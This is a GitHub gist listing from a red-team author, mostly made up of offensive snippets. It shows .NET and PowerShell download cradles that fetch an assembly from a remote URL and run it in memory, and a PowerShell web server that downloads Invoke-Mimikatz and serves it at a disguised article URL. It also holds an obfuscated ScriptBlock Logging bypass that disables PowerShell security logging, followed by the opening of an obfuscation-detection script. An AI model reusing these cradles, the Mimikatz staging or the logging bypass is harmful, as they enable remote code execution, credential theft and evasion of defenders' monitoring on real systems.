Skip to content

Instantly share code, notes, and snippets.

View cobbr's full-sized avatar
💻
Hacking

Ryan Cobb cobbr

💻
Hacking
1.2k followers · 1 following
View GitHub Profile
@cobbr
cobbr / sharpsploit-example-1
Created November 6, 2018 15:50
using SharpSploit.Enumeration;
public class Program {
static void Main() {
Console.WriteLine( Net.GetNetLocalGroupMembers(Domain.GetDomainComputers()));
return;
}
}
@cobbr
cobbr / sharpsploit-resources-example
Created November 6, 2018 15:49
<ItemGroup>
<!-- <EmbeddedResource Include="Resources\powerkatz_x86.dll" /> -->
<!-- <EmbeddedResource Include="Resources\powerkatz_x64.dll" /> -->
</ItemGroup>
@cobbr
cobbr / reflection-example-3
Created November 6, 2018 15:48
public class Program {
public static void Main() {
System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData("https://example.com/SharpSploit.dll")).GetType("SharpSploit.Execution.Shell").GetMethod("ShellExecute").Invoke(0, @("whoami", "", "", ""));
}
}
@cobbr
cobbr / reflection-example-2
Created November 6, 2018 15:47
PS > [System.Reflection.Assembly]::Load((new-object net.webclient).DownloadData("https://example.com/SharpSploit.dll").GetType("SharpSploit.Execution.Shell").GetMethod("ShellExecute").Invoke(0, @("whoami", "", "", ""))
desktop-f9dq76g\cobbr
@cobbr
cobbr / reflection-example-1
Created November 6, 2018 15:46
PS > [System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("SharpSploit.dll").GetType("SharpSploit.Execution.Shell").GetMethod("ShellExecute").Invoke(0, @("whoami", "", "", ""))
desktop-f9dq76g\cobbr
@cobbr
cobbr / DotnetAssemblyDownloadCradle.cs
Created June 20, 2018 22:37
A download cradle for .NET assemblies.
public class Program { public static void Main(string[] args) { System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, null); } }
@cobbr
cobbr / server.ps1
Last active January 30, 2020 18:55 — forked from obscuresec/dirtywebserver.ps1
Dirty PowerShell Webserver
$mk = (new-object net.webclient).downloadstring("https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1")
$Hso = New-Object Net.HttpListener
$Hso.Prefixes.Add("http://+:8080/")
$Hso.Start()
While ($Hso.IsListening) {
$HC = $Hso.GetContext()
$HRes = $HC.Response
$HRes.Headers.Add("Content-Type","text/plain")
If (($HC.Request).RawUrl -eq '/home/news/a/21/article.html') {
$Buf = [Text.Encoding]::UTF8.GetBytes($mk)
@cobbr
cobbr / ScriptBlockLogBypass.ps1
Last active January 28, 2023 20:20
ScriptBlock Logging Bypass
# ScriptBlock Logging Bypass
# @cobbr_io
$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static')
If ($GroupPolicyField) {
$GroupPolicyCache = $GroupPolicyField.GetValue($null)
If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
}
@cobbr
cobbr / Invoke-ObfuscationDetection.ps1
Last active November 30, 2021 09:20
Detect obfuscated PowerShell through character frequency analysis.
function Measure-CharacterFrequency
{
<#
.SYNOPSIS
Measures the letter / character frequency in a block of text, ignoring whitespace
and PowerShell comment blocks.
Author: Lee Holmes